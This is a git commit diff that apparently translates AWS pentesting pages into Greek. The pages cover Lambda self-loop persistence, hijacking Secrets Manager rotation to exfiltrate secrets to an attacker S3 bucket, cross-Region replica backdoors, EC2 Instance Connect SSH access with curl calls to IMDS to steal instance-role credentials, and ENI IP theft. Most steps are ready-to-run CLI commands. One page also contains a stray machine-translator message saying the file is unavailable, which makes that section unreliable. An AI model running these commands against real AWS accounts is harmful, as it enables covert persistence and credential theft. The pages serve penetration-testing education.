Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l

This commit is contained in:
Translator
2025-10-23 13:13:41 +00:00
parent a1fb63d156
commit 72e42d6209
18 changed files with 460 additions and 412 deletions
-1
View File
File diff suppressed because one or more lines are too long
@@ -1,25 +1,27 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
# AWS - Lambda Ασύγχρονη Αυτο-επανάκληση Επίμονη Πρόσβαση μέσω Destinations + Recursion Allow
Καταχράσου τα asynchronous Destinations του Lambda μαζί με τη ρύθμιση Recursion για να κάνεις μια function να καλεί συνεχώς τον εαυτό της χωρίς εξωτερικό scheduler (χωρίς EventBridge, cron, κ.λπ.). Από προεπιλογή, το Lambda τερματίζει τους αναδρομικούς βρόχους, αλλά η ρύθμιση recursion σε Allow τους επανενεργοποιεί. Τα Destinations παραδίδουν στην πλευρά της υπηρεσίας για async invokes, οπότε μια μοναδική seed invoke δημιουργεί ένα stealthy, χωρίς κώδικα κανάλι heartbeat/backdoor. Προαιρετικά, περιορίστε με reserved concurrency για να κρατήσετε τον θόρυβο χαμηλό.
{{#include ../../../../banners/hacktricks-training.md}}
Notes
- Το Lambda δεν επιτρέπει την άμεση ρύθμιση της function ώστε να είναι ο ίδιος ο προορισμός της. Χρησιμοποιήστε ένα function alias ως προορισμό και επιτρέψτε στο execution role να κάνει invoke αυτό το alias.
- Ελάχιστα δικαιώματα: δυνατότητα ανάγνωσης/ενημέρωσης του target functions event invoke config και recursion config, δημοσίευσης ενός version και διαχείρισης ενός alias, και ενημέρωσης της policy του functions execution role ώστε να επιτρέπεται το lambda:InvokeFunction στο alias.
Κακοποιήστε τις Lambda asynchronous destinations μαζί με τη Recursion configuration για να κάνετε μια function να ξανα-invoke-άει συνεχώς τον εαυτό της χωρίς εξωτερικό scheduler (όχι EventBridge, cron κ.λπ.). Από προεπιλογή, το Lambda τερματίζει τις recursive loops, αλλά ρυθμίζοντας το recursion config σε Allow τις ενεργοποιεί ξανά. Τα Destinations παραδίδουν από την πλευρά της υπηρεσίας για async invokes, οπότε μια μοναδική seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor κανάλι. Προαιρετικά, throttle-άρετε με reserved concurrency για να κρατήσετε τον θόρυβο χαμηλό.
## Απαιτήσεις
Σημειώσεις
- Το Lambda δεν επιτρέπει να ρυθμιστεί η function να είναι το δικό της destination άμεσα. Χρησιμοποιήστε ένα function alias ως destination και επιτρέψτε στο execution role να invoke-άρει αυτό το alias.
- Ελάχιστα δικαιώματα: δυνατότητα ανάγνωσης/ενημέρωσης του target functions event invoke config και recursion config, δημοσίευσης μιας version και διαχείρισης ενός alias, και ενημέρωσης του execution role policy της function ώστε να επιτρέπεται lambda:InvokeFunction στο alias.
## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Βήματα
## Steps
1) Πάρε το function ARN και την τρέχουσα ρύθμιση recursion
1) Get function ARN and current recursion setting
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Δημοσιεύστε μια έκδοση και δημιουργήστε/ενημερώστε ένα alias (χρησιμοποιείται ως self destination)
2) Δημοσιεύστε μια version και δημιουργήστε/ενημερώστε ένα alias (χρησιμοποιείται ως self destination)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Επιτρέψτε στο ρόλο εκτέλεσης της συνάρτησης να καλεί το alias (απαιτείται από Lambda Destinations→Lambda)
3) Επιτρέψτε στον ρόλο εκτέλεσης της συνάρτησης να καλεί το alias (απαιτείται από Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Ρυθμίστε το async destination στο alias (self via alias) και απενεργοποιήστε τα retries
4) Διαμορφώστε το async destination στο alias (self μέσω alias) και απενεργοποιήστε τα retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
@@ -63,22 +65,22 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Δημιούργησε ένα μεμονωμένο ασύγχρονο invoke
6) Ενεργοποίηση ενός μεμονωμένου asynchronous invoke
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Παρατηρήστε συνεχείς κλήσεις (παραδείγματα)
7) Παρακολούθηση συνεχών κλήσεων (παραδείγματα)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Προαιρετικό stealth throttle
8) Προαιρετικός stealth throttle
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Καθαρισμός
Διακόψτε το loop και αφαιρέστε την persistence.
Διακόψτε το loop και αφαιρέστε το persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -88,5 +90,6 @@ aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGIO
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impact
- Ένα async invoke προκαλεί τη Lambda να αυτο-επανεκκινείται συνεχώς χωρίς εξωτερικό scheduler, επιτρέποντας stealthy persistence/heartbeat. Reserved concurrency μπορεί να περιορίσει τον θόρυβο σε μία warm execution.
## Επιπτώσεις
- Μια μεμονωμένη async invoke προκαλεί το Lambda να επανεκκινεί συνεχώς τον εαυτό του χωρίς εξωτερικό scheduler, επιτρέποντας stealthy persistence/heartbeat. Το Reserved concurrency μπορεί να περιορίσει τον θόρυβο σε μία μόνο warm execution.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# AWS - Secrets Manager Persistence
# AWS - Secrets Manager Διατήρηση
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,13 +12,13 @@
### Μέσω Resource Policies
Είναι δυνατό να **grant access to secrets to external accounts** μέσω resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για περισσότερες πληροφορίες. Σημειώστε ότι για να **access a secret**, ο εξωτερικός λογαριασμός θα χρειαστεί επίσης **access to the KMS key encrypting the secret**.
Είναι δυνατόν να **παραχωρηθεί πρόσβαση σε secrets σε εξωτερικούς λογαριασμούς** μέσω resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για περισσότερες πληροφορίες. Σημειώστε ότι για να **έχει πρόσβαση σε ένα secret**, ο εξωτερικός λογαριασμός θα χρειαστεί επίσης **πρόσβαση στο KMS key που κρυπτογραφεί το secret**.
### Μέσω Secrets Rotate Lambda
Για να **rotate secrets** αυτόματα καλείται μια ρυθμισμένη **Lambda**. Αν ένας attacker μπορούσε να **change** τον **code**, θα μπορούσε απευθείας να **exfiltrate the new secret** στον εαυτό του.
Για να **rotate secrets** αυτόματα καλείται μια διαμορφωμένη **Lambda**. Αν ένας επιτιθέμενος μπορούσε να **αλλάξει** τον **κώδικα**, θα μπορούσε άμεσα να **exfiltrate το νέο secret** στον εαυτό του.
Έτσι θα μπορούσε να μοιάζει ο κώδικας του Lambda για μια τέτοια ενέργεια:
Αυτός είναι ο τρόπος που θα μπορούσε να φαίνεται ο κώδικας Lambda για μια τέτοια ενέργεια:
```python
import boto3
@@ -48,33 +48,27 @@ import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### Αντικατάσταση του rotation Lambda με λειτουργία υπό έλεγχο επιτιθέμενου μέσω RotateSecret
### Αντικαταστήστε το rotation Lambda με μια συνάρτηση υπό έλεγχο επιτιθέμενου μέσω RotateSecret
Κακοποιήστε `secretsmanager:RotateSecret` για να επανασυνδέσετε ένα secret σε ένα rotation Lambda που ελέγχεται από τον επιτιθέμενο και να ενεργοποιήσετε άμεση περιστροφή. Η κακόβουλη συνάρτηση εξάγει τις εκδόσεις του secret (AWSCURRENT/AWSPENDING) κατά τα βήματα περιστροφής (createSecret/setSecret/testSecret/finishSecret) σε έναν προορισμό του επιτιθέμενου (π.χ., S3 ή εξωτερικό HTTP).
Abuse `secretsmanager:RotateSecret` για να επανασυνδέσετε ένα secret σε ένα rotation Lambda υπό έλεγχο επιτιθέμενου και να ενεργοποιήσετε άμεσα ένα rotation. Η malicious function exfiltrates τις εκδόσεις του secret (AWSCURRENT/AWSPENDING) κατά τα βήματα rotation (createSecret/setSecret/testSecret/finishSecret) σε έναν attacker sink (π.χ. S3 ή external HTTP).
- Απαιτήσεις
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- Ένα στοχευμένο secret id (`SecretId`) με ενεργοποιημένη περιστροφή ή τη δυνατότητα να ενεργοποιηθεί η περιστροφή.
- Δικαιώματα: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` στο attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (ή AttachRolePolicy) για να προμηθεύσετε τον ρόλο εκτέλεσης του Lambda με `secretsmanager:GetSecretValue` και προτιμητικά `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (ώστε το rotation να συνεχίσει να λειτουργεί), KMS `kms:Decrypt` για το secret KMS key, και `s3:PutObject` (ή outbound egress) για exfiltration.
- Ένα target secret id (`SecretId`) με ενεργοποιημένο rotation ή τη δυνατότητα να ενεργοποιηθεί rotation.
- Επίπτωση
- Ο επιτιθέμενος αποκτά την/τις τιμή/ές του secret χωρίς να τροποποιήσει τον νόμιμο κώδικα περιστροφής. Αλλάζει μόνο η ρύθμιση περιστροφής ώστε να δείχνει στο Lambda του επιτιθέμενου. Εάν δεν εντοπιστεί, οι προγραμματισμένες μελλοντικές περιστροφές θα συνεχίσουν να καλούν τη συνάρτηση του επιτιθέμενου.
- Ο επιτιθέμενος αποκτά τις τιμές του secret χωρίς να τροποποιήσει τον νόμιμο rotation code. Αλλάζει μόνο η ρύθμιση rotation ώστε να δείχνει στο attacker Lambda. Εάν δεν εντοπιστεί, τα προγραμματισμένα μελλοντικά rotations θα συνεχίσουν να καλούν τη λειτουργία του επιτιθέμενου.
- Βήματα επίθεσης (CLI)
1) Προετοιμάστε προορισμό exfiltration και ρόλο Lambda
- Δημιουργήστε S3 bucket για exfiltration και έναν ρόλο εκτέλεσης εμπιστευόμενο από το Lambda με δικαιώματα ανάγνωσης του secret και εγγραφής στο S3 (συν logs/KMS όπως απαιτείται).
2) Ανάπτυξη Lambda επιτιθέμενου που σε κάθε βήμα περιστροφής ανακτά την/τις τιμή/ές του secret και τις γράφει στο S3. Η ελάχιστη λογική περιστροφής μπορεί απλώς να αντιγράψει AWSCURRENT σε AWSPENDING και να το προωθήσει στο finishSecret για να διατηρηθεί η υπηρεσία λειτουργική.
3) Επανασύνδεση της περιστροφής και ενεργοποίηση
1) Προετοιμάστε attacker sink και ρόλο Lambda
- Δημιουργήστε S3 bucket για exfiltration και έναν ρόλο εκτέλεσης εμπιστευμένο από το Lambda με δικαιώματα να διαβάζει το secret και να γράφει στο S3 (συν logs/KMS όπως απαιτείται).
2) Αναπτύξτε attacker Lambda που σε κάθε βήμα rotation ανακτά τις secret τιμές και τις γράφει στο S3. Η ελάχιστη rotation λογική μπορεί απλώς να αντιγράψει AWSCURRENT σε AWSPENDING και να το προωθήσει στο finishSecret για να διατηρήσει την υπηρεσία υγιή.
3) Επανασύνδεση rotation και ενεργοποίηση
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Επαληθεύστε την εξαγωγή κάνοντας λίστα στο S3 prefix για εκείνο το secret και εξετάζοντας τα JSON artifacts.
5) (Προαιρετικό) Επαναφέρετε το αρχικό rotation Lambda για μείωση της ανίχνευσης.
4) Επαληθεύστε την exfiltration κάνοντας list το S3 prefix για εκείνο το secret και εξετάζοντας τα JSON artifacts.
5) (Προαιρετικό) Επαναφέρετε το αρχικό rotation Lambda για να μειώσετε την ανίχνευση.
- Παράδειγμα Lambda του επιτιθέμενου (Python) που εξάγει σε S3
- Παράδειγμα attacker Lambda (Python) exfiltrating σε S3
- Περιβάλλον: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
@@ -102,16 +96,16 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
### Κατάληψη Ετικέτας Έκδοσης για Κρυφή Επιμονή (προσαρμοσμένο stage + γρήγορη εναλλαγή AWSCURRENT)
Καταχράσου τις ετικέτες version staging του Secrets Manager για να τοποθετήσεις μια εκδοχή μυστικού υπό έλεγχο του attacker και να τη διατηρήσεις κρυφή κάτω από ένα custom stage (για παράδειγμα, `ATTACKER`) ενώ η παραγωγή συνεχίζει να χρησιμοποιεί την αρχική `AWSCURRENT`. Σε οποιαδήποτε στιγμή, μετακίνησε το `AWSCURRENT` στην εκδοχή του attacker για να μολύνεις εξαρτώμενα workloads, και μετά επαναφέρε το για να ελαχιστοποιήσεις την ανίχνευση. Αυτό παρέχει διακριτική backdoor persistence και γρήγορη manipulation χρόνου-χρήσης χωρίς να αλλάζει το όνομα του secret ή τη rotation config.
Καταχράσου τις version staging labels του Secrets Manager για να φυτέψεις μια έκδοση secret ελεγχόμενη από τον επιτιθέμενο και να τη διατηρήσεις κρυμμένη κάτω από ένα προσαρμοσμένο στάδιο (για παράδειγμα, `ATTACKER`) ενώ η παραγωγή συνεχίζει να χρησιμοποιεί την αρχική `AWSCURRENT`. Οποιαδήποτε στιγμή, μετακίνησε το `AWSCURRENT` στην έκδοση του επιτιθέμενου για να μολύνεις εξαρτώμενα workloads, και μετά επαναφέρσέ το για να ελαχιστοποιήσεις την ανίχνευση. Αυτό παρέχει διακριτική backdoor επιμονή και γρήγορο χειρισμό ώρας-χρήσης χωρίς να αλλάζει το όνομα του secret ή τη rotation config.
- Απαιτήσεις
- Δικαιώματα: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (για επαλήθευση)
- Target secret id στην Region.
- ID του στοχευόμενου secret στην Region.
- Επιπτώσεις
- Διατήρηση μιας κρυφής, υπό έλεγχο attacker εκδοχής ενός secret και ατομική εναλλαγή του `AWSCURRENT` σε αυτήν κατόπιν ζήτησης, επηρεάζοντας οποιοδήποτε consumer επιλύει το ίδιο όνομα secret. Η εναλλαγή και η γρήγορη επαναφορά μειώνουν την πιθανότητα ανίχνευσης ενώ επιτρέπουν τον προσωρινό συμβιβασμό.
- Διατήρηση μιας κρυφής, από τον επιτιθέμενο ελεγχόμενης έκδοσης ενός secret και ατομική (atomically) εναλλαγή του `AWSCURRENT` σε αυτήν κατά ζήτηση, επηρεάζοντας οποιονδήποτε καταναλωτή που επιλύει το ίδιο όνομα secret. Η εναλλαγή και η γρήγορη επαναφορά μειώνουν τις πιθανότητες ανίχνευσης ενώ επιτρέπουν συμβιβασμό κατά τον χρόνο χρήσης.
- Βήματα επίθεσης (CLI)
- Προετοιμασία
@@ -168,22 +162,22 @@ aws secretsmanager update-secret-version-stage \
</details>
- Σημειώσεις
- Όταν παρέχετε `--client-request-token`, Secrets Manager το χρησιμοποιεί ως το `VersionId`. Η προσθήκη μιας νέας έκδοσης χωρίς ρητή ρύθμιση του `--version-stages` μετακινεί το `AWSCURRENT` στην καινούρια έκδοση από προεπιλογή και σημειώνει την προηγούμενη ως `AWSPREVIOUS`.
- Όταν παρέχετε `--client-request-token`, το Secrets Manager το χρησιμοποιεί ως το `VersionId`. Η προσθήκη μιας νέας έκδοσης χωρίς ρητή ρύθμιση των `--version-stages` μετακινεί το `AWSCURRENT` στη νέα έκδοση εξ ορισμού και σηματοδοτεί την προηγούμενη ως `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Κακόβουλη χρήση της multi-Region replication του Secrets Manager για τη δημιουργία μιας replica ενός στόχου secret σε μια λιγότερο-παρακολουθούμενη Region, κρυπτογραφώντας το με ένα attacker-controlled KMS key σε εκείνη τη Region, στη συνέχεια προώθηση (promote) της replica σε standalone secret και επισύναψη ενός permissive resource policy που παρέχει στον attacker δικαίωμα ανάγνωσης. Το αρχικό secret στην primary Region παραμένει αμετάβλητο, προσφέροντας ανθεκτική, stealthy πρόσβαση στην τιμή του secret μέσω της προωθημένης replica ενώ παρακάμπτονται οι περιορισμοί KMS/policy στην primary.
Καταχραστείτε τη multi-Region replication του Secrets Manager για να δημιουργήσετε ένα αντίγραφο ενός target secret σε μια λιγότερο παρακολουθούμενη περιοχή, κρυπτογραφήστε το με ένα KMS key που ελέγχεται από τον επιτιθέμενο σε εκείνη την περιοχή, στη συνέχεια προωθήστε το αντίγραφο σε ένα αυτόνομο μυστικό και επισυνάψτε μια επιτρεπτική πολιτική πόρων που παραχωρεί στον επιτιθέμενο δικαίωμα ανάγνωσης. Το αρχικό μυστικό στην κύρια περιοχή παραμένει αμετάβλητο, παρέχοντας ανθεκτική, κρυφή πρόσβαση στην τιμή του μυστικού μέσω του προωθημένου αντιγράφου ενώ παρακάμπτονται οι περιορισμοί KMS/policy στην κύρια.
- Απαιτήσεις
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Στη replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant``kms:PutKeyPolicy`) για να επιτρέψουν στον attacker principal `kms:Decrypt`.
- Ένας attacker principal (user/role) που θα λάβει δικαίωμα ανάγνωσης στο promoted secret.
- Δικαιώματα: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Στην περιοχή του αντιγράφου: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant``kms:PutKeyPolicy`) για να επιτρέψουν στην οντότητα επιτιθέμενου να εκτελέσει `kms:Decrypt`.
- Μια οντότητα επιτιθέμενου (user/role) για να λάβει δικαίωμα ανάγνωσης στο προωθημένο μυστικό.
- Επιπτώσεις
- Επίμονος cross-Region δρόμος πρόσβασης στην τιμή του secret μέσω μιας standalone replica υπό έναν attacker-controlled KMS CMK και permissive resource policy. Το primary secret στην αρχική Region παραμένει ανεπηρέαστο.
- Επίμονη cross-Region διαδρομή πρόσβασης στην τιμή του μυστικού μέσω ενός αυτόνομου αντιγράφου υπό έναν KMS CMK ελεγχόμενο από τον επιτιθέμενο και επιτρεπτική πολιτική πόρων. Το πρωτεύον μυστικό στην αρχική περιοχή παραμένει αμετάβλητο.
- Attack (CLI)
- Επίθεση (CLI)
- Μεταβλητές
```bash
export R1=<primary-region> # e.g., us-east-1
@@ -211,14 +205,14 @@ aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECR
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) Αναβαθμίστε το αντίγραφο σε αυτόνομο στο R2
3) Προωθήστε το αντίγραφο σε αυτόνομη λειτουργία στο R2
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Επισύναψε επιτρεπτική πολιτική πόρων στο αυτόνομο secret στο R2
4) Επισυνάψτε μια επιτρεπτική πολιτική πόρου στο αυτόνομο μυστικό στο R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -226,9 +220,9 @@ JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) Διάβασε το secret από τον attacker principal στο R2
5) Διάβασε το secret από το attacker principal στο R2
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,21 +2,21 @@
{{#include ../../../../banners/hacktricks-training.md}}
Κατάχρηση του EC2 Instance Connect Endpoint (EIC Endpoint) για την απόκτηση εισερχόμενης πρόσβασης SSH σε ιδιωτικές EC2 instances (χωρίς δημόσια IP/bastion) με:
- Δημιουργία EIC Endpoint μέσα στο υποδίκτυο-στόχο
- Επιτρέποντας εισερχόμενη SSH κίνηση στο SG του στόχου από το SG του EIC Endpoint
- Εισαγωγή ενός εφήμερου δημόσιου κλειδιού SSH (ισχύει ~60 δευτερόλεπτα) με `ec2-instance-connect:SendSSHPublicKey`
- Άνοιγμα EIC tunnel και pivot προς το instance για κλοπή των διαπιστευτηρίων του instance profile από το IMDS
Κατάχρηση του EC2 Instance Connect Endpoint (EIC Endpoint) για να αποκτήσετε εισερχόμενη SSH πρόσβαση σε ιδιωτικές EC2 instances (χωρίς δημόσια IP/μπάστιον) μέσω:
- Δημιουργίας ενός EIC Endpoint μέσα στο υποδίκτυο-στόχο
- Επιτρέποντας εισερχόμενο SSH στο SG-στόχο από το SG του EIC Endpoint
- Έγχυσης ενός βραχύβιου δημόσιου SSH κλειδιού (ισχύει ~60 δευτερόλεπτα) με `ec2-instance-connect:SendSSHPublicKey`
- Ανοίγματος ενός EIC tunnel και pivoting προς το instance για κλοπή των credentials του instance profile από το IMDS
Impact: κρυφός τρόπος απομακρυσμένης πρόσβασης σε ιδιωτικές EC2 instances που παρακάμπτει bastions και περιορισμούς δημόσιας IP. Ο επιτιθέμενος μπορεί να αναλάβει το instance profile και να δρα εντός του account.
Επίπτωση: διακριτική απομακρυσμένη οδός πρόσβασης σε ιδιωτικές EC2 instances που παρακάμπτει bastions και περιορισμούς δημόσιας IP. Ο επιτιθέμενος μπορεί να αναλάβει το instance profile και να δρα στον λογαριασμό.
## Requirements
## Απαιτήσεις
- Δικαιώματα για:
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- Στόχος Linux instance με SSH server και EC2 Instance Connect ενεργοποιημένο (Amazon Linux 2 ή Ubuntu 20.04+). Προεπιλεγμένοι χρήστες: `ec2-user` (AL2) ή `ubuntu` (Ubuntu).
- Στοχευμένο Linux instance με SSH server και EC2 Instance Connect ενεργοποιημένο (Amazon Linux 2 ή Ubuntu 20.04+). Προεπιλεγμένοι χρήστες: `ec2-user` (AL2) ή `ubuntu` (Ubuntu).
## Variables
## Μεταβλητές
```bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
@@ -45,13 +45,13 @@ grep -q 'create-complete' EIC_STATE && break
sleep 5
done
```
## Επιτρέψτε την κυκλοφορία από EIC Endpoint προς target instance
## Να επιτραπεί η κυκλοφορία από το EIC Endpoint προς το target instance
```bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
```
## Εισαγωγή προσωρινού SSH κλειδιού και άνοιγμα τούνελ
## Εισαγωγή εφήμερου SSH key και άνοιγμα tunnel
```bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
```
## Post-exploitation απόδειξη (steal instance profile credentials)
## Απόδειξη Post-exploitation (steal instance profile credentials)
```bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
```
I don't have the file contents. Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md here, and I'll translate the relevant English text to Greek following your rules.
Δεν έχω πρόσβαση στο αρχείο src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Παρακαλώ επικολλήστε εδώ το αγγλικό περιεχόμενο που θέλετε να μεταφράσω. Θα το μεταφράσω στα ελληνικά κρατώντας αναλλοίωτα τα code snippets, τα ονόματα τεχνικών hacking, τα ονόματα cloud/SaaS (π.χ. Workspace, aws, gcp), τις λέξεις 'leak' και 'pentesting', τα links, τα paths και όλα τα markdown/HTML tags όπως ζητήσατε.
```json
{
"Code": "Success",
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
```
> Σημειώσεις
> - Το εισαγόμενο SSH κλειδί είναι έγκυρο μόνο για ~60 δευτερόλεπτα· στείλτε το κλειδί αμέσως πριν ανοίξετε το tunnel/SSH.
> - Το injected SSH key είναι μόνο έγκυρο για ~60 δευτερόλεπτα; στείλτε το key ακριβώς πριν ανοίξετε το tunnel/SSH.
> - `OS_USER` πρέπει να ταιριάζει με το AMI (π.χ., `ubuntu` για Ubuntu, `ec2-user` για Amazon Linux 2).
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,49 +2,50 @@
{{#include ../../../../banners/hacktricks-training.md}}
Κακοποιήστε τις `ec2:UnassignPrivateIpAddresses` και `ec2:AssignPrivateIpAddresses` για να κλέψετε τη δευτερεύουσα private IP ενός θύματος ENI και να τη μεταφέρετε σε ένα ENI επιτιθέμενου στο ίδιο subnet/AZ. Πολλές εσωτερικές υπηρεσίες και security groups περιορίζουν την πρόσβαση με βάση συγκεκριμένες private IP. Με τη μετακίνηση αυτής της δευτερεύουσας διεύθυνσης, ο επιτιθέμενος προσποιείται τον έμπιστο host σε επίπεδο L3 και μπορεί να προσεγγίσει allowlisted υπηρεσίες.
Καταχράστε `ec2:UnassignPrivateIpAddresses` και `ec2:AssignPrivateIpAddresses` για να κλέψετε τη δευτερεύουσα ιδιωτική IP μιας ENI του θύματος και να τη μεταφέρετε σε ENI του επιτιθέμενου στο ίδιο subnet/AZ. Πολλές εσωτερικές υπηρεσίες και ομάδες ασφάλειας ελέγχουν την πρόσβαση βάσει συγκεκριμένων ιδιωτικών IP. Μετακινώντας αυτή τη δευτερεύουσα διεύθυνση, ο επιτιθέμενος μιμείται τον αξιόπιστο host στο L3 και μπορεί να φτάσει υπηρεσίες που βρίσκονται σε allowlist.
Προαπαιτούμενα:
- Δικαιώματα: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` στο ARN του ENI του θύματος, και `ec2:AssignPrivateIpAddresses` στο ARN του ENI του επιτιθέμενου.
- Και τα δύο ENI πρέπει να βρίσκονται στο ίδιο subnet/AZ. Η στοχευόμενη διεύθυνση πρέπει να είναι δευτερεύουσα IP (η primary δεν μπορεί να απελευθερωθεί).
Prereqs:
- Δικαιώματα: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` στο ARN της ENI του θύματος, και `ec2:AssignPrivateIpAddresses` στο ARN της ENI του επιτιθέμενου.
- Και οι δύο ENI πρέπει να είναι στο ίδιο subnet/AZ. Η στοχευόμενη διεύθυνση πρέπει να είναι δευτερεύουσα IP (η primary δεν μπορεί να αποδεσμευτεί).
Μεταβλητές:
Variables:
- REGION=us-east-1
- VICTIM_ENI=<eni-xxxxxxxx>
